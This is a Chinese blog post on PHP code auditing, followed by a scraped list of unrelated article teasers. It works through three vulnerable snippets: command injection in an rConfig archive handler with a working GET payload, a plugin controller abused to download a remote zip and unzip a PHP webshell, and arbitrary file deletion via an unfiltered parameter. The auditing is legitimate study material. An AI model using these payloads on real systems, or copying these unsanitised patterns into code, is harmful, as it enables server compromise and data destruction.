当前位置: 首页 > news >正文

PHP代码审计之实战审代码篇2

4. 仔细观察如下代码,思考代码有什么缺陷,可能由此引发什么样的问题?
<?php
require_once("/home/rconfig/classes/usersession.class.php");
require_once("/home/rconfig/classes/ADLog.class.php");
require_once("/home/rconfig/config/functions.inc.php");
$log = ADLog::getInstance();
if (!$session->logged_in) {echo 'Don\'t bother trying to hack me!!!!!<br /> This hack attempt has been logged';$log->Warn("Security Issue: Some tried to access this file directly from IP: " . $_SERVER['REMOTE_ADDR'] . " & Username: " . $session->username . " (File: " . $_SERVER['PHP_SELF'] . ")");// need to add authentication to this scriptheader("Location: " . $config_basedir . "login.php");
} else {
//archive logs files$mainPath = $_GET['path'];$archiveMainPath = $mainPath . "archive/";$ext = "*." . $_GET['ext'];$fullpath = $mainPath . $ext;
// create and archive dir if not already createdif (!is_dir($archiveMainPath)) {mkdir("$archiveMainPath");}$today = date("Ymd");$commandString = "sudo -u apache zip -r -j " . $archiveMainPath . "filename" . $today . ".zip " . $mainPath . $ext;$ext 是拼接上去的 是可控传参 没有经过任何过滤exec($commandString);foreach (glob($fullpath) as $v) {unlink($v);}$fileCount = count(glob($mainPath . $ext));if ($fileCount > 0) {$response = json_encode(array('failure' => true));} else {$response = json_encode(array('success' => true));}echo $response;
}  // end session check

拼接造成命令注入了!
相关payload参考

GET /lib/ajaxHandlers/ajaxArchiveFiles.php?path=1&ext=;ls%3E../../pq.txt HTTP/1.1

5.仔细观察如下代码,思考代码有什么缺陷,可能由此引发什么样的问题?

/A/c/PluginsController.php

PHP 的 fopen() 函数可以用来打开远程文件

其中这个类可用用action参数去调用不同函数,例如以下

 解题:
        那我们可以发两个包,一个用来调用start-download 函数来下载一个远程的zip文件。当然这个地址是我们可控的,
action=start-download&filepath=msgphone&download_url=http://0.0.0.0/test/a.zip
        第二个包就调用file-upzip函数,让它去解压含php马的zip文件,也正好解压到了网站下的A/exts ,我们去访问它
action=sfile-upzip&filepath=msgphone&download_url=

 6.仔细观察如下代码,思考代码有什么缺陷,可能由此引发什么样的问题?
public function delall(){if(isset($_POST['send'])){if(validate::isNullString($_POST['pid'])) tool::layer_alert('没有选择任何图片!','?a=pic',7);$_fileDir=ROOT_PATH.'/uploads/';foreach($_POST['pid'] as $_value){$_filePath=$_fileDir.$_value;if(!unlink($_filePath)){tool::layer_alert('图片删除失败,请设权限为777!','?a=pic',7);}else{header('Location:?a=pic');}}}}

pid是我们可控的,而且之后是拼接到filepath的 那这不就造成任意文件删除了吗!
解题

相关文章:

PHP代码审计之实战审代码篇2

4. 仔细观察如下代码&#xff0c;思考代码有什么缺陷&#xff0c;可能由此引发什么样的问题&#xff1f; <?php require_once("/home/rconfig/classes/usersession.class.php"); require_once("/home/rconfig/classes/ADLog.class.php"); require_onc…...

05 Ciso模拟器连接腾讯云物联网开发平台

Ciso声明&#xff1a;本篇文章基于使用腾讯云物联网平台连接自定义esp8266物联网设备(腾讯连连控制开关实现) - CSDN App改编 一、总体概览 功能描述&#xff1a; 使用腾讯连连小程序进行控制&#xff0c; Alarm&#xff08;警铃&#xff09;&#xff1a;开的时候&#xff…...

Nginx(二十) 获取真实客户端IP

客户端在访问互联网应用服务器时&#xff0c;与真实的应用服务器之间会因为有多层反向代理&#xff0c;而导致真实应用服务器获取的仅是最近一层的反向代理服务器 IP。为使 Nginx 后端的上游服务器可以获得真实客户端 IP&#xff0c;Nginx 提供了 ngx_http_realip_module 模块用…...

【攻防世界】Reverse—— IgniteMe writeup

main函数&#xff1a;首先检查前4个字符是否“EIS{”&#xff0c;如果是&#xff0c;则会进入check函数。如果check返回true&#xff0c;则会显示“Congratulations” int __cdecl main(int argc, const char **argv, const char **envp) {int result; // eaxsize_t i; // [es…...

m1芯片电脑上的paragon15如何安装激活 m1芯片电脑上ntfs for mac如何安装

Paragon NTFS软件在M1芯片电脑上安装之后&#xff0c;最后一步会让我们“允许加载第三方内核扩展”&#xff0c;具体如下图所示。 图1&#xff1a;允许加载第三方内核扩展 按照图中提示“单击此处“&#xff0c;然后打开安全与隐私。接下来依次点击小锁标志进行解锁&#xff0c…...

【DevOps-01]】DevOps介绍

一、简要描述 DevOps:Development & Operations的缩写,也就是开发&运维 DevOps是一个不断提高效率并且持续不断工作的过程。 核心:简化Dev和Ops团队之间的流程,使整体软件开发过程更快速。 DevOps定义: DevOps 强调的是高效组织团队之间如何通过自动化的工具协作和…...

基于PHP的花店管理系统

有需要请加文章底部Q哦 可远程调试 基于PHP的花店管理系统 一 介绍 此花店管理系统基于原生PHP开发&#xff0c;数据库mysql&#xff0c;前端bootstrap。系统角色分为用户和管理员。(附带参考设计文档) 技术栈&#xff1a;phpmysqlbootstrapphpstudyvscode 二 功能 用户 1 …...

《PySpark大数据分析实战》-24.数据可视化图表介绍

&#x1f4cb; 博主简介 &#x1f496; 作者简介&#xff1a;大家好&#xff0c;我是wux_labs。&#x1f61c; 热衷于各种主流技术&#xff0c;热爱数据科学、机器学习、云计算、人工智能。 通过了TiDB数据库专员&#xff08;PCTA&#xff09;、TiDB数据库专家&#xff08;PCTP…...

kafka 偏移量的类型与提交方式

kafka checkpoint 在流处理中,“checkpoint” 通常指的是将应用程序的状态保存到可靠的存储系统中,以便在发生故障或应用程序需要重启时能够从先前的状态中恢复。这包括保存处理过的事件、中间结果以及任何其他状态信息。“Checkpointing” 可以确保系统的一致性,并提供容错…...

TCP服务器的编写(下)

我们现在开始对我们的客户端开始封装 我们的客户端&#xff0c;创建完套接字&#xff0c;需不需要bind呢&#xff1f;&#xff1f; 当然是不需要的&#xff0c;你本身是一个客户端&#xff0c;其他人写的应用也可能是客户端&#xff0c;如果我们bind&#xff0c;一定意味着我们…...

Linux系统安全及应用

目录 一、系统安全的加固 1、账号安全的基本措施 1.1 将用户设置为无法登录 1.2 锁定长期不使用的账号 1.3 删除无用的账号 1.4 锁定账号文件passwd、shadow 2、密码安全控制 2.1 设置密码有效期 2.1.1 适用于新建用户 2.1.2 适用于已有用户 2.2 强制用户下次登录一…...

初识Web服务器

一、web服务器 1、什么是web服务器&#xff1f; web服务器就是web项目的容器&#xff0c;我们将开发好的web项目部署到web容器中&#xff0c;才能使用网络中的用户通过浏览器进行访问。 一张图带你了解web服务器有啥作用&#xff1a; 在我的电脑上有一个已经做好的项目&#…...

IOS - 手机安装包 ipa 常见几种方式

安装 ipa 包的方法有很多中&#xff0c;可以通过不同的软件安装&#xff0c;本文只列出了常用的几种&#xff0c;做个简单的归纳整理 1、iTunes 安装 数据线连接手机之后&#xff0c;会自动连接iTunes&#xff0c;&#xff08;第一次连接的时候会提示是否信任此电脑&#xff0…...

60、resnet50 权值和参数加载

上一节我们将 resnet50 中需要下载的权值,以及每层卷积的参数,都下载并且保存到了 仓库 resnet50_weight 目录,在仓库的这个连接。 在将权值保存好之后,接下来就是要看如何使用这些权值,也就是如何加载。本节就介绍下我们实战过程中,如何加载这些权值。 加载权值 加载权…...

wordpress在界面将站点地址直接修改为https导致上不去问题的解决办法

wordpress在界面将站点地址直接修改为https导致上不去问题的解决办法 #修改数据库yz_options...

数字IC后端实现之快速获取innovus中drv violation的所有net list

在Innovus中place_opt_design和optDesign阶段&#xff0c;我们经常会看到如下所示的log提示信息&#xff0c;核心关键词是“ Reasons for remaining drv violations”。而且告诉我们总共有819条net存在drv violation&#xff0c;且无法被工具优化掉。 Reasons for remaining dr…...

【开源】基于JAVA语言的智能教学资源库系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 数据中心模块2.2 课程档案模块2.3 课程资源模块2.4 课程作业模块2.5 课程评价模块 三、系统设计3.1 用例设计3.2 数据库设计3.2.1 课程档案表3.2.2 课程资源表3.2.3 课程作业表3.2.4 课程评价表 四、系统展示五、核心代…...

数据库定义和操作语句的重要语法

数据库&#x1f4ca;的10种语法 数据查询语句 select : 用于从数据库中检索数据。 select column1, column2,.... from table_name where condition; select distinct : 用于从数据库中检索唯一的数据值。 select DISTINCT column1, clumn2,... from table_name; 工作原理…...

计算机组成原理 CPU的功能和基本结构和指令执行过程

文章目录 CPU的功能和基本结构CPU的功能CPU的基本结构 指令执行过程指令周期概念指令执行方案指令数据流取周期数据流析指周期数据流执行周期数据流中断周期数据流 数据通路的功能和基本结构数据通路的功能数据通路的结构单总线 CPU的功能和基本结构 #mermaid-svg-0uHwjZOZh4kS…...

批量归一化:彻底改变深度学习架构

一、介绍 在深度学习的动态领域&#xff0c;批量归一化的引入标志着神经网络训练方法的关键转变。这项创新技术由 Sergey Ioffe 和 Christian Szegedy 在 2015 年提出&#xff0c;已成为现代神经网络架构的基石。它解决了训练深度网络的关键挑战&#xff0c;特别是处理臭名昭著…...

Spring05

一、Spring事务管理入门 1.1、创建数据库和表 创建一个Spring数据库&#xff0c;在Spring数据库中创建tb_account(账户表)&#xff0c;并初始化数据。 1.2、编写Service层、Mapper层以及调用层 1.2.1、AccountServiceImpl实现了AccountService接口 1.2.2、Mapper层中的代码 1…...

MvvmToolkit的使用

背景&#xff1a;MvvmLight不更新了&#xff0c;用Toolkit代替 1、首先下载好社区版本的NuGet包 2、ViewModel中需要继承ObservableObject&#xff0c;查看ObservableObject可以看到里面有实现好InotifyPropertyChanged。 3、对于属性的set&#xff0c;可以简写成一行&#xff…...

分布式【一致性Hash算法简介】

一致性Hash是一种特殊的Hash算法&#xff0c;由于其均衡性、持久性的映射特点&#xff0c;被广泛的应用于负载均衡领域&#xff0c;如nginx和memcached都采用了一致性Hash来作为集群负载均衡的方案。 一致性Hash算法简介 在了解一致性Hash算法之前&#xff0c;先来讨论一下Ha…...

PHP命令行脚本接收传入参数的三种方式

1.使用$argv or $argc参数接收&#xff0c;会把文件本身计算在内 $argv&#xff1a; 以数组形式接收保存参数 $argc&#xff1a;保存参数个数 <?php echo "接收到{$argc}个参数"; print_r($argv); //执行 //php /usr/local/php/bin/php test.php 接收到1个…...

【STM32】STM32学习笔记-ADC单通道 ADC多通道(22)

00. 目录 文章目录 00. 目录01. ADC简介02. ADC相关API2.1 RCC_ADCCLKConfig2.2 ADC_RegularChannelConfig2.3 ADC_Init2.4 ADC_InitTypeDef2.5 ADC_Cmd2.6 ADC_ResetCalibration2.7 ADC_GetResetCalibrationStatus2.8 ADC_StartCalibration2.9 ADC_GetCalibrationStatus2.10 A…...

1329:【例8.2】细胞 广度优先搜索

1329&#xff1a;【例8.2】细胞 时间限制: 1000 ms 内存限制: 65536 KB 【题目描述】 一矩形阵列由数字0 到9组成,数字1到9 代表细胞,细胞的定义为沿细胞数字上下左右还是细胞数字则为同一细胞,求给定矩形阵列的细胞个数。如: 4 10 0234500067 1034560500 2045600671 00000000…...

9款免费网络钓鱼模拟器详解

根据《2023年网络钓鱼状况报告》显示&#xff0c;自2022年第四季度至2023年第三季度&#xff0c;网络钓鱼电子邮件数量激增了1265%。其中&#xff0c;利用ChatGPT等生成式人工智能工具和聊天机器人的形式尤为突出。 除了数量上的激增外&#xff0c;网络钓鱼攻击模式也在不断进…...

linux cpu、memory 、io、网络、文件系统多种类型负荷模拟调测方法工具

目录 一、概述 二、stress介绍和使用 2.1 介绍 2.2 使用 三、stress-ng介绍和使用 3.1 介绍 3.2 使用 3.3 实例 四、sysbench 4.1 介绍 4.2 使用 五、lmbench 5.1 介绍 5.2 使用 一、概述 今天介绍两款cpu负荷调试工具,用来模拟多种类型的负载。主要用来模拟CPU…...

1018:奇数偶数和1028:I love 闰年!和1029:三角形判定

1018&#xff1a;奇数偶数 要求&#xff1a;输入一个整数&#xff0c;判断该数是奇数还是偶数。如果该数是奇数就输出“odd”&#xff0c;偶数就输出“even”&#xff08;输出不含双引号&#xff09;。 输入样例&#xff1a;8 输出样例&#xff1a;even 程序流程图&#xff1a…...

数据密集型应用系统设计--第2章 数据模型与查询语言

一、引言 数据模型可能是开发软件最重要的部分,而且还对如何思考待解决的问题都有深远的影响。 大多数应用程序是通过一层一层叠加数据模型来构建的。每一层都面临的关键问题是&#xff1a;如何将其用下一层来表示&#xff1f; 1.作为一名应用程序开发人员&#xff0c;观测现实…...

如何建立公司网站建议和规则/苏州关键词seo排名

GCC&#xff1a;从源文件到可执行文件 假设我们有hello.c 文件 #include <stdio.h> int main(){printf("hello world!\n");return 0; }怎么在linux上利用GCC命令生产可执行文件&#xff08;单文件编译&#xff09;呢&#xff1f; 一、流程 C文件从源文件到…...

设置网站/优化关键词可以选择哪个工具

小学数学常用公式大全(几何体计算公式)1. 长方形的周长(长宽)2 公式&#xff1a;C(ab)22. 正方形的周长边长4 公式&#xff1a;C4a3. 长方形的面积长宽 公式&#xff1a;Sab4. 正方形的面积边长边长 公式&#xff1a;Sa*a5. 三角形的面积底高2 公式&#xff1a;Sah26. 平行四边…...

静态网站跟动态的区别/深圳关键词优化怎么样

把时域转换到频域&#xff0c;能够为图像处理带来很多便捷的操作。在频谱图中直接去掉低频部分或者高频部分都会发生很多有趣的事情。在频谱图直接操作也能够简化一些在时域较为困难的操作&#xff0c;举个例子。image上面小丑图片里面的规律性条纹在时域是很难直接操作的&…...

响应式网站概况/深圳网络推广外包

LSM Tree(Log Structured Merge Trees)数据组织方式被应用于多种数据库&#xff0c;如LevelDB、HBase、Cassandra等&#xff0c;下面我们从为什么使用LSM tree、LSM tree的实现思路两方面介绍这种存储组织结构&#xff0c;完成对LSM tree的初步了解。 存储背景回顾 LSM tree相…...

网站建设的实施方式/海外免费网站推广

原地址&#xff1a;https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter7_3 所以必须确保支付目录&#xff08;支付页面的路径&#xff0c;比如www.ni123.com/our/pay/&#xff09;,具体的支付页面为www.ni123.com/our/pay/index.html开发步骤一、设置支付目录请确保实…...

java ee做网站/搜易网服务介绍

一&#xff0c;.NET Core 自宿主应用程序个头有点大发布.NET Core应用程序有两个方式&#xff0c;一种是“便携式”&#xff0c;一种是“自宿主式”。便携式发布时&#xff0c;目标程序不带.net core运行环境&#xff0c;所以“个头”很小&#xff0c;可能只有几十K几百K字节&a…...